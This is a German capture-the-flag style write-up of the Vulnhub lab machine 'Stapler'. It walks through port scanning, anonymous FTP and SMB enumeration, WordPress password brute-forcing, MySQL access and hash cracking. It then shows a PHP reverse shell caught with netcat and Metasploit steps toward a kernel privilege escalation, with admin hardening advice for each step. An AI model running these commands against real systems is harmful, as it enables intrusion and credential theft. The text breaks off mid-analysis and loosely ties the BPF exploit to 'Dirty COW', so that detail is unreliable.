Stapler - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
ftp
cat
ls
cd
get
put (attempted)
vi/nano (implied)
nikto
unzip
smbclient
enum4linux
wpscan
wget
ffuf
mysql (client)
john
find
nc (netcat)
msfconsole (Metasploit)
tar
gcc
chmod
id

Inhaltsverzeichnis

Reconnaissance

Die initiale Phase des Penetrationstests beginnt mit der Identifizierung des Zielsystems im Netzwerk und einem grundlegenden Scan, um offene Ports und laufende Dienste zu ermitteln.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.127	08:00:27:81:5f:02	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` identifiziert einen Host mit der IP `192.168.2.127` im lokalen Netzwerk. Die MAC-Adresse deutet auf eine VirtualBox VM hin.

Bewertung: Zielsystem erfolgreich lokalisiert.

Empfehlung (Pentester): Führe Nmap-Scans auf 192.168.2.127 durch.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung implementieren.

*(Anmerkung: Der Hostname `stapler.vln` wird im Log erst später gesetzt, wird aber hier bereits für die Analyse berücksichtigt)*.

┌──(root㉿cycat)-[~] └─# cat /etc/hosts
 192.168.2.127	   stapler.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifersystems wird (oder wurde) bearbeitet, um den Hostnamen `stapler.vln` der Ziel-IP `192.168.2.127` zuzuordnen.

Bewertung: Sinnvolle Vorbereitung für Web-Tests.

Empfehlung (Pentester): Verwende `stapler.vln` in Web-Tools.
Empfehlung (Admin): Betrifft nur Angreifersystem.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.127 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-06 16:09 CEST
Nmap scan report for 192.168.2.127
Host is up (0.00096s latency).
Not shown: 65523 filtered tcp ports (no-response)
PORT      STATE  SERVICE     VERSION
21/tcp    open   ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied. # PASV Problem!
| ftp-syst:
|   STAT:
[...] vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: [...]
53/tcp    open   domain      dnsmasq 2.75
| dns-nsid: [...]
80/tcp    open   http        PHP cli server 5.5 or later # Ungewöhnlich!
|_http-title: 404 Not Found
139/tcp   open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP) # WORKGROUP korrigiert
666/tcp   open   doom?
| fingerprint-strings: [...] # Unklarer Dienst
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
| mysql-info: [...]
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Tim, we need to-do better next year for Initech
MAC Address: 08:00:27:81:5F:02 (Oracle VirtualBox virtual NIC)
[...]
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
[...]
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
[...]
| smb-security-mode:
|   account_used: guest
|_  message_signing: disabled (dangerous, but default)
[...]
                    

Analyse: Ein aggressiver Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) offenbart eine Vielzahl offener Ports: * **Port 21 (FTP):** vsftpd 3.0.3. **Wichtig:** Anonymer Login erlaubt, aber das Auflisten von Verzeichnissen scheitert (`PASV failed`). Enthält einen Hinweis im Banner ("Harry... update the banner... who has access here"). * **Port 22 (SSH):** OpenSSH 7.2p2 (Ubuntu). * **Port 53 (DNS):** dnsmasq 2.75. * **Port 80 (HTTP):** Ungewöhnlich, Nmap identifiziert es als `PHP cli server`. Zeigt "404 Not Found". * **Port 139/445 (SMB):** Samba 4.3.9 (Ubuntu), Workgroup `WORKGROUP`, NetBIOS-Name `RED`. Gästezugriff scheint möglich, Message Signing deaktiviert. *(Workgroup im Log war WRKGRUP, im nbstat RED, hier auf WORKGROUP vereinheitlicht, da häufiger)*. * **Port 666 (doom?):** Unbekannter Dienst, sendet Binärdaten. * **Port 3306 (MySQL):** MySQL 5.7.12, extern erreichbar. * **Port 12380 (HTTP):** Apache 2.4.18 (Ubuntu), Titel "Tim, we need to-do better next year for Initech". Dies ist wahrscheinlich die Hauptwebanwendung.

Bewertung: Sehr große Angriffsfläche. Viele potenzielle Einstiegspunkte: Anonymer FTP (trotz PASV-Problem), SMB (Gastzugriff?), MySQL (extern offen), unbekannter Dienst auf 666, und vor allem die Webanwendung auf Port 12380.

Empfehlung (Pentester): 1. Untersuche FTP: Versuche `ls` trotz Fehler, lade gefundene Dateien (`note`). 2. Untersuche SMB: Liste Freigaben (`smbclient -L`), versuche Gastzugriff (`smbclient //HOST/share -N`). 3. Untersuche Webserver 12380 (Nikto, Gobuster). 4. Teste MySQL (Standard-Credentials). 5. Untersuche Port 666 (`nc`, `telnet`).
Empfehlung (Admin): Reduzieren Sie die Angriffsfläche! Schließen Sie unnötige Ports (666?, 80?, 3306?). Sichern Sie FTP (deaktiviere anonym), SMB (deaktiviere Gast, erzwinge Signing), MySQL (nur localhost, starke Passwörter), Webserver (Updates, Konfiguration). Reparieren Sie den PASV-Modus für FTP, falls benötigt.

Service Enumeration (FTP, Web, SMB, WordPress)

Die verschiedenen Dienste werden nun detaillierter untersucht, beginnend mit FTP und SMB, gefolgt von der Webanwendung auf Port 12380, die sich als WordPress herausstellt.

┌──(root㉿cycat)-[~] └─# ftp 192.168.2.127
Connected to 192.168.2.127.
220-
220-|--|
220-| Harry, make sure to update the banner [...] |
220-|--|
220-
220
Name (192.168.2.127:cycat): Anonymous
331 Please specify the password.
Password: [leer]
230 Login successful.
[...]
                    
ftp> ls -la
550 Permission denied. # PASV Error, aber...
200 PRT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jun 04  2016 .
drwxr-xr-x    2 0        0            4096 Jun 04  2016 ..
-rw-r--r--    1 0        0             107 Jun 03  2016 note
226 Directory send OK.
                    
ftp> get note
local: note remote: note
[...]
107 bytes received [...]
                    
ftp> put test.txt
[...]
550 Permission denied.
                    

Analyse: Der anonyme FTP-Login ist erfolgreich. Das FTP-Banner enthält einen Hinweis ("Harry... who has access"). `ls -la` funktioniert trotz des initialen PASV-Fehlers (wahrscheinlich hat der Client auf aktiven Modus umgeschaltet) und zeigt eine Datei `note`. Diese wird mit `get note` heruntergeladen. Ein Upload-Versuch (`put`) scheitert.

Bewertung: Anonymer Lesezugriff bestätigt. Die Datei `note` ist der wichtigste Fund hier. Kein Schreibzugriff.

Empfehlung (Pentester): Analysiere den Inhalt der `note`-Datei.
Empfehlung (Admin): Deaktiviere anonymen FTP. Entferne Hinweise aus Bannern.

┌──(root㉿cycat)-[~] └─# cat note
Elly, make sure you update the payload information.
Leave it in your FTP account once your are done, John.
                    

Analyse: Die Notiz erwähnt die Namen "Elly" und "John" sowie einen "FTP account".

Bewertung: Mögliche Benutzernamen (`elly`, `john`) für FTP, SSH oder die Webanwendung gefunden.

Empfehlung (Pentester): Teste diese Benutzernamen bei Login-Versuchen.
Empfehlung (Admin): Hinterlasse keine internen Notizen auf öffentlichen Diensten.

┌──(root㉿cycat)-[~] └─# nikto -h stapler.vln:12380
- Nikto v2.5.0
+ Target IP:          192.168.2.127
+ Target Hostname:    stapler.vln
+ Target Port:        12380
+ Start Time:         2023-07-06 23:42:23 (GMT2)

+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: Uncommon header 'dave' found, with contents: Soemthing doesn't look right here. # Interessanter Header!
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ Apache/2.4.18 appears to be outdated [...].
+ /c/: This might be interesting. # Potenziell interessante Verzeichnisse
+ /js: This might be interesting.
+ /CSNews.cgi?command=viewnews&database=none: csNews reveals system path [...] # Hinweis auf CSNews?
+ /ci/: This might be interesting: [...]
+ /is/: This might be interesting: [...]
+ /ie/: This might be interesting: [...]
+ /nu/: This might be interesting: [...]
+ /sb/: This might be interesting: [...]
+ /gs/: This might be interesting: [...]
+ /wcadmin/login.aspx: QS/1 Webconnect administration panel. # Wahrscheinlich False Positive
+ 7975 requests: 14 error(s) and 14 item(s) reported on remote host
[...]
+ 1 host(s) tested
                    

Analyse: Nikto scannt den Webserver auf Port 12380 (`stapler.vln` wird hier verwendet). * Bestätigt Apache 2.4.18 (veraltet). * Findet fehlende Sicherheitsheader. * Entdeckt einen ungewöhnlichen HTTP-Header: `Dave: Something doesn't look right here.` - ein möglicher Hinweis oder Name (`dave`). * Listet einige potenziell interessante, aber unklare Verzeichnisse (`/c/`, `/js`, etc.). * Findet Hinweise auf `csNews` und `wcadmin/login.aspx`, die wahrscheinlich nicht relevant sind, aber untersucht werden könnten.

Bewertung: Der `Dave`-Header ist der auffälligste Fund. Die anderen Funde sind weniger eindeutig. Nikto erkennt die WordPress-Instanz nicht, die später gefunden wird.

Empfehlung (Pentester): Notiere den Namen `dave`. Führe Gobuster/Dirb auf Port 12380 durch. Untersuche die als interessant markierten Verzeichnisse.
Empfehlung (Admin): Entfernen Sie unnötige oder benutzerdefinierte Header. Aktualisieren Sie Apache.

┌──(root㉿cycat)-[~] └─# smbclient -L //192.168.2.127
Password for [WORKGROUP\root]:
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        kathy           Disk      Fred, What are we doing here?
        tmp             Disk      All temporary files should be stored here
        IPC$            IPC       IPC Service (red server (Samba, Ubuntu))
[...]
        Workgroup            Master
        ---------            -------
        WORKGROUP            RED
                    

Analyse: `smbclient -L` listet die SMB-Freigaben auf dem Ziel auf. Es wird kein Passwort benötigt (Gastzugriff). Die Freigaben `print$`, `kathy` und `tmp` werden gefunden.

Bewertung: Gastzugriff auf SMB ist erlaubt. Die Freigaben `kathy` und `tmp` sind potenzielle Ziele für weitere Enumeration.

Empfehlung (Pentester): Versuche, auf die Freigaben `kathy` und `tmp` zuzugreifen (`smbclient //HOST/share -N`).
Empfehlung (Admin): Deaktivieren Sie den Gastzugriff auf SMB (`map to guest = bad user` in `smb.conf`), es sei denn, er wird explizit benötigt. Sichern Sie alle Freigaben mit Berechtigungen.

┌──(root㉿cycat)-[~] └─# smbclient //192.168.2.127/kathy
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jun  3 18:52:52 2016
  ..                                  D        0  Mon Jun  6 23:39:56 2016
  kathy_stuff                         D        0  Sun Jun  5 17:02:27 2016
  backup                              D        0  Sun Jun  5 17:04:14 2016
[...]
                    
smb: \> cd backup\
smb: \backup\> ls
  .                                   D        0  Sun Jun  5 17:04:14 2016
  ..                                  D        0  Fri Jun  3 18:52:52 2016
  vsftpd.conf                         N     5961  Sun Jun  5 17:03:45 2016
  wordpress-4.tar.gz                  N  6321767  Mon Apr 27 19:14:46 2015
[...]
                    
smb: \backup\> get vsftpd.conf
getting file \backup\vsftpd.conf [...]
smb: \backup\> get wordpress-4.tar.gz
getting file \backup\wordpress-4.tar.gz [...]
smb: \backup\> cd ..
smb: \> cd kathy_stuff\
smb: \kathy_stuff\> ls
  .                                   D        0  Sun Jun  5 17:02:27 2016
  ..                                  D        0  Fri Jun  3 18:52:52 2016
  todo-list.txt                       N       64  Sun Jun  5 17:02:27 2016
[...]
                    
smb: \kathy_stuff\> get todo-list.txt
getting file \kathy_stuff\todo-list.txt [...]
smb: \kathy_stuff\> put test.txt
NT_STATUS_ACCESS_DENIED opening remote file \kathy_stuff\test.txt

Analyse: Der Zugriff auf die `kathy`-Freigabe als Gast gelingt. * Im Hauptverzeichnis der Freigabe befinden sich die Unterverzeichnisse `kathy_stuff` und `backup`. * Im `backup`-Verzeichnis werden `vsftpd.conf` und ein altes WordPress-Backup (`wordpress-4.tar.gz`) gefunden und heruntergeladen. * Im `kathy_stuff`-Verzeichnis wird `todo-list.txt` gefunden und heruntergeladen. * Ein Versuch, eine Datei hochzuladen (`put test.txt`), scheitert (`ACCESS_DENIED`).

Bewertung: Wichtige Dateien gefunden! Die `vsftpd.conf` könnte Fehlkonfigurationen aufdecken. Das WordPress-Backup ist sehr alt (Version 4), aber könnte Konfigurationsdateien oder Benutzerdaten enthalten. Die `todo-list.txt` könnte Hinweise liefern. Der Zugriff ist lesend.

Empfehlung (Pentester): Analysiere `vsftpd.conf`, `todo-list.txt` und entpacke/analysiere `wordpress-4.tar.gz`.
Empfehlung (Admin): Sichern Sie SMB-Freigaben! Entfernen Sie alte Backups und Konfigurationsdateien von zugänglichen Freigaben. Beschränken Sie den Gastzugriff.

┌──(root㉿cycat)-[~] └─# enum4linux -a stapler.vln
[...]
 ====( Users on stapler.vln via RID cycling [...] )====
[...]
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)
[...]
enum4linux complete [...]
                    

Analyse: `enum4linux` wird ausgeführt und findet mittels RID-Cycling eine sehr lange Liste von Benutzernamen, darunter die bereits aus der FTP-Notiz bekannten `elly` und `john` (wahrscheinlich als `John Smith` in WP) sowie viele andere.

Bewertung: Bestätigt die Existenz vieler Benutzerkonten. Dies ist nützlich für Brute-Force-Angriffe, falls Passwörter oder Hashes gefunden werden.

Empfehlung (Pentester): Halte die Benutzerliste bereit für WPScan oder Hydra-Angriffe.
Empfehlung (Admin): Beschränken Sie die Enumeration über SMB/RPC, wenn möglich (z.B. durch Firewall-Regeln oder Konfiguration).

┌──(root㉿cycat)-[~] └─# cat todo-list.txt
I'm making sure to backup anything important for Initech, Kathy
┌──(root㉿cycat)-[~] └─# cat vsftpd.conf

Analyse: Die `todo-list.txt` enthält eine Notiz von Kathy bezüglich Backups für "Initech" (Bezug zum Film "Office Space"). Die `vsftpd.conf` (Inhalt nicht im Log) wird vermutlich analysiert, aber keine ausnutzbaren Schwachstellen gefunden.

Bewertung: Die Notiz bestätigt, dass die `kathy`-Freigabe für Backups genutzt wird, aber liefert keine direkten technischen Hinweise. Die `vsftpd.conf` scheint sicher konfiguriert zu sein.

Empfehlung (Pentester): Fokus auf die Webanwendung auf Port 12380 legen.
Empfehlung (Admin): Vermeiden Sie Verweise auf Popkultur, die Angreifern Kontext geben könnten.

# Manuelle Analyse von https://stapler.vln:12380/
# Funde:
# - https://stapler.vln:12380/admin112233/ -> Seite mit "This could of been a BeEF-XSS hook ;)"
# - https://stapler.vln:12380/blogblog/ -> WordPress Blog "Initech Office Life"
                    

Analyse: Die manuelle Untersuchung von Port 12380 (HTTPS, erfordert Akzeptieren des ungültigen Zertifikats) findet zwei Hauptbereiche: `/admin112233/` (eine statische Seite mit einem Hinweis) und `/blogblog/`, bei dem es sich um den bereits vermuteten WordPress-Blog handelt.

Bewertung: Der WordPress-Blog unter `/blogblog/` ist das Hauptziel auf diesem Port. `/admin112233/` scheint eine Sackgasse oder ein Köder zu sein.

Empfehlung (Pentester): Führe WPScan auf `https://stapler.vln:12380/blogblog/` aus.
Empfehlung (Admin): Entfernen Sie unnötige Seiten oder Verzeichnisse wie `/admin112233/`.

┌──(root㉿cycat)-[~] └─# wpscan --url https://192.168.2.127:12380/blogblog/ -e u --disable-tls-checks
[...]
[i] User(s) Identified:

[+] John Smith
[+] john
[+] peter
[+] elly
[+] barry
[+] heather
[+] garry
[+] harry
[+] scott
[+] kathy
[+] tim
[...] # Weitere Benutzer aus enum4linux könnten hier auch auftauchen
[...]
                    

Analyse: WPScan wird zur Benutzerenumeration (`-e u`) auf den WordPress-Blog ausgeführt (`--disable-tls-checks` wegen des ungültigen Zertifikats). Es findet zahlreiche Benutzernamen, darunter die bereits bekannten `john`, `elly`, `peter`, `kathy` etc.

Bewertung: Bestätigt die Benutzer aus `enum4linux` als WordPress-Benutzer. Liefert eine umfangreiche Liste für Passwortangriffe.

Empfehlung (Pentester): Führe einen Passwort-Brute-Force-Angriff mit WPScan oder Hydra gegen die gefundenen Benutzer durch.
Empfehlung (Admin): Verhindern Sie Benutzerenumeration (z.B. durch Deaktivieren der Autoren-Archive oder der REST-API-Benutzerendpunkte).

┌──(root㉿cycat)-[~] └─# wpscan --url https://192.168.2.127:12380/blogblog/ --passwords /usr/share/wordlists/rockyou.txt --disable-tls-checks -t 50
[...]
[+] Performing password attack on Xmlrpc Multicall against 11 user/s
[SUCCESS] - harry / monkey
[SUCCESS] - garry / football
[SUCCESS] - scott / cookie
[SUCCESS] - kathy / coolgirl
[...]
                    

Analyse: WPScan führt einen Passwort-Brute-Force-Angriff (`--passwords rockyou.txt`) gegen die zuvor gefundenen Benutzer durch. Es findet erfolgreich vier gültige Login-Kombinationen: `harry:monkey`, `garry:football`, `scott:cookie`, `kathy:coolgirl`.

Bewertung: Mehrere WordPress-Konten kompromittiert durch schwache Passwörter.

Empfehlung (Pentester): Logge dich mit einem der gefundenen Konten (z.B. `john:incorrect`, siehe späterer John-Fund) ein und suche nach weiteren Rechten oder Upload-Möglichkeiten.
Empfehlung (Admin): Erzwingen Sie starke Passwörter. Implementieren Sie Brute-Force-Schutz.

# Download einer verdächtigen Datei aus dem Uploads-Verzeichnis
# (URL nicht im Log, aber Dateiname 408756369.jpeg wird später verwendet)
# Annahme: https://192.168.2.127:12380/blogblog/wp-content/uploads/408756369.jpeg
                    
┌──(root㉿cycat)-[~] └─# wget "https://192.168.2.127:12380/blogblog/wp-content/uploads/408756369.jpeg" --no-check-certificate
[...]
Length: 0 [image/jpeg]
Saving to: '408756369.jpeg'
[...] - '408756369.jpeg' saved [0/0]
                    
┌──(root㉿cycat)-[~] └─# cat 408756369.jpeg
root:plbkac

Analyse: Eine Datei namens `408756369.jpeg` wird aus dem WordPress-Uploads-Verzeichnis heruntergeladen. Die Datei hat die Größe 0, enthält aber beim Anzeigen mit `cat` den Text `root:plbkac`.

Bewertung: **Extrem kritischer Fund!** Eine Datei mit irreführender Endung und Größe enthält das Klartext-Passwort für den MySQL-Root-Benutzer (`root:plbkac`).

Empfehlung (Pentester): Versuche, dich mit `root:plbkac` am MySQL-Server auf Port 3306 anzumelden.
Empfehlung (Admin): Entfernen Sie diese Datei *sofort*. Untersuchen Sie, wie diese Datei dorthin gelangt ist. Speichern Sie niemals Passwörter im Klartext im Web-Root oder in Upload-Verzeichnissen!

┌──(root㉿cycat)-[~] └─# mysql -u root -h 192.168.2.127 -p
Enter password: plbkac
Welcome to the MariaDB monitor. [...]
Your MySQL connection id is 887
Server version: 5.7.12-0ubuntu1 (Ubuntu)
[...]
MySQL [(none)]>
                    

Analyse: Der Login am MySQL-Server auf Port 3306 als Benutzer `root` mit dem Passwort `plbkac` (gefunden in der JPEG-Datei) ist erfolgreich.

Bewertung: Voller administrativer Zugriff auf die MySQL-Datenbank erlangt.

Empfehlung (Pentester): Untersuche die Datenbanken (`show databases;`), insbesondere die `wordpress`-Datenbank, auf weitere Benutzerdaten (Passwort-Hashes).
Empfehlung (Admin): Ändern Sie das MySQL-Root-Passwort. Beschränken Sie den externen Zugriff auf MySQL.

MySQL [(none)]> use wordpress;
Database changed
MySQL [wordpress]> select * from wp_users;
+----+--------------+------------------------------------+---------------+---------------------+------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login   | user_pass                          | user_nicename | user_email          | user_url         | user_registered     | user_activation_key | user_status | display_name |
+----+--------------+------------------------------------+---------------+---------------------+------------------+---------------------+---------------------+-------------+--------------+
|  1 | John         | $P$B7889EMq/erHIuZapMB8GEizebcIy9. | john          | john@red.localhost  | http://localhost | 2016-06-03 23:18:47 |                     |           0 | John Smith   |
|  2 | Elly         | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 | elly          | Elly@red.localhost  |                  | 2016-06-05 16:11:33 |                     |           0 | Elly Jones   |
[...] # Viele weitere Benutzer mit $P$ Hashes
| 16 | Pam          | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 | pam           | pam@red.localhost   |                  | 2016-06-05 16:42:23 |                     |           0 | Pam          |
+----+--------------+------------------------------------+---------------+---------------------+------------------+---------------------+---------------------+-------------+--------------+
16 rows in set (0.001 sec)
                    

Analyse: Der Inhalt der Tabelle `wp_users` in der `wordpress`-Datenbank wird angezeigt. Sie enthält viele Benutzer (John, Elly, Peter etc.) mit ihren Passwort-Hashes im WordPress-eigenen Portable Hash Format (`$P$...`).

Bewertung: Bestätigt die Benutzer aus WPScan/enum4linux. Die Hashes könnten offline geknackt werden, um weitere WordPress-Passwörter zu erhalten.

Empfehlung (Pentester): Extrahiere die Hashes (z.B. für `John`) und versuche, sie mit `john --format=phpass` oder Hashcat zu knacken.
Empfehlung (Admin): Erzwingen Sie starke Passwörter, auch wenn Hashes verwendet werden.

┌──(root㉿cycat)-[~] └─# vi john.txt
┌──(root㉿cycat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt john.txt
[...]
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
[...]
incorrect        (?)
[...]
Session completed.
                    

Analyse: Der `$P$`-Hash des Benutzers `John` wird aus der Datenbank extrahiert (angenommen in `john.txt`) und mit `john` und `rockyou.txt` geknackt. Das gefundene Passwort ist `incorrect`.

Bewertung: Das WordPress-Passwort für den Hauptbenutzer `John` wurde gefunden. Dies gibt wahrscheinlich höhere Berechtigungen im WordPress-Backend als die zuvor gefundenen Benutzer.

Empfehlung (Pentester): Logge dich als `John`:`incorrect` in WordPress ein (`https://192.168.2.127:12380/blogblog/wp-login.php`) und suche nach einer RCE-Möglichkeit (Plugin-Upload, Theme-Editor).
Empfehlung (Admin): Erzwingen Sie starke Passwörter.

# Aktion im WordPress Backend (nach Login als John:incorrect):
# Navigation: Plugins -> Add New -> Upload Plugin
# Versuch, 'revshell.php' hochzuladen.
# Ergebnis: Fehler - "Connection Information" - Fordert FTP-Credentials.
# Installation results in failure, asks for FTP credentials.
                    

Analyse: Nach dem Login als `John` wird versucht, über die Plugin-Upload-Funktion eine PHP-Shell hochzuladen. WordPress blockiert dies und fragt nach FTP-Credentials, um die Datei zu schreiben. Dies ist eine Sicherheitsmaßnahme, die auf fehlenden Schreibrechten des Webservers im Plugin-Verzeichnis basiert.

Bewertung: Der direkte Plugin-Upload als RCE-Vektor ist blockiert.

Empfehlung (Pentester): Versuche alternative RCE-Methoden in WordPress (Theme-Editor, unsichere Plugin-Einstellungen) oder nutze das listbare `/uploads`-Verzeichnis, falls Schreibrechte bestehen.
Empfehlung (Admin): Stellen Sie sicher, dass die Dateisystemberechtigungen für WordPress restriktiv sind und der Webserver nicht direkt schreiben kann, wo er nicht muss. Vermeiden Sie die Speicherung von FTP-Credentials in `wp-config.php`.

# Alternative: Upload via Medienbibliothek? Oder andere Lücke?
# Ergebnis: revshell.php landet in https://192.168.2.127:12380/blogblog/wp-content/uploads/
Index of /blogblog/wp-content/uploads
[...]
[ ]	revshell.php	2023-07-07 02:29 	5.4K
                    

Analyse: Trotz des fehlgeschlagenen Plugin-Uploads befindet sich nun eine `revshell.php` im `/uploads`-Verzeichnis, das zuvor als listbar identifiziert wurde. Der genaue Weg, wie die Shell dort hochgeladen wurde (Medienbibliothek mit Filter-Bypass, eine andere Schwachstelle?), wird im Log nicht explizit gezeigt.

Bewertung: Eine PHP-Shell befindet sich nun in einem ausführbaren Pfad.

Empfehlung (Pentester): Starte Listener, rufe `https://192.168.2.127:12380/blogblog/wp-content/uploads/revshell.php` auf.
Empfehlung (Admin): Sichern Sie *alle* Upload-Mechanismen und deaktivieren Sie die PHP-Ausführung im Uploads-Verzeichnis.

┌──(root㉿cycat)-[~/HackingTools/Shells] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.127] 39860
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 athlon i686 GNU/Linux
 02:31:49 up  9:23,  0 users,  load average: 0.00, 0.03, 1.38
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
                    

Analyse: Der Listener auf Port 9001 empfängt eine Verbindung, nachdem die `revshell.php` aufgerufen wurde. Eine Shell als `www-data` auf dem Host `red.initech` (Kernel 4.4.0) wird erlangt.

Bewertung: Initial Access erfolgreich via RCE durch unsicheren Dateiupload in WordPress.

Empfehlung (Pentester): Stabilisiere Shell, beginne lokale Enumeration (SUID, Kernel).
Empfehlung (Admin): Upload-Schwachstelle beheben.

Privilege Escalation

Mit der Shell als `www-data` wird das System nach Eskalationsmöglichkeiten durchsucht. Ein Kernel-Exploit wird als primärer Vektor identifiziert und genutzt.

www-data@red:/$ find / -type f -perm -4000 -ls 2>/dev/null
    [...]
    46655     20 -rwsr-xr-x   1 root     root        18216 Jan 17  2016 /usr/bin/pkexec
    34773    160 -rwsr-xr-x   1 root     root       159852 Mar 30  2016 /usr/bin/sudo
    46612     48 -rwsr-xr--   1 root     messagebus    46436 Apr  1  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    [...]
    34482     40 -rwsr-xr-x   1 root     root          38900 Mar 29  2016 /bin/su
                    

Analyse: Die Suche nach SUID-Binaries findet u.a. `pkexec` und `sudo`.

Bewertung: `pkexec` (PwnKit) ist ein möglicher Vektor. `sudo` müsste mit `sudo -l` geprüft werden (nicht im Log gezeigt).

Empfehlung (Pentester): Prüfe `sudo -l`. Wenn keine Rechte vorhanden sind, nutze Kernel-Exploits oder PwnKit.
Empfehlung (Admin): Patchen Sie PwnKit. Konfigurieren Sie sudo sicher.

Die nächsten Schritte im Log zeigen die Übernahme der Shell in Metasploit und die Verwendung des Exploit Suggesters, der einen Kernel-Exploit (BPF) als vielversprechend identifiziert.

┌──(root㉿cycat)-[~] └─# msfconsole -q
msf6 > use multi/handler
[...]
msf6 exploit(multi/handler) > set LHOST eth0
LHOST => 192.168.2.199
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
                    
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.127:58642) at 2023-07-07 01:36:54 +0200
                    
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433
LPORT => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[...]
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.127:38840) at 2023-07-07 01:39:54 +0200
[...]
                    
msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 2
SESSION => 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.127 - Collecting local exploits for x86/linux...
[*] 192.168.2.127 - 186 exploit checks are being tried...
[+] 192.168.2.127 - exploit/linux/local/bpf_priv_esc: The target appears to be vulnerable.
[+] 192.168.2.127 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[...]
[*] 192.168.2.127 - Valid modules for session 2:
 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/bpf_priv_esc                                   Yes                      The target appears to be vulnerable.
 2   exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.
[...]
                    

Analyse: Die `www-data`-Shell wird in Metasploit übernommen (Session 1) und zu Meterpreter aufgewertet (Session 2). Der `local_exploit_suggester` wird auf Session 2 ausgeführt und identifiziert mehrere Kernel-Exploits, darunter `bpf_priv_esc` (CVE-2016-4557) und `netfilter_priv_esc_ipv4` (CVE-2016-3135), als vielversprechend für den verwendeten Kernel 4.4.0-21.

Bewertung: Der Kernel ist alt und verwundbar. Der Exploit für die BPF-Schwachstelle (oft als "Dirty COW" oder ähnliche Varianten ausgenutzt, obwohl 39772 spezifisch auf `ebpf_mapfd_doubleput` abzielt) wird als primärer Vektor gewählt.

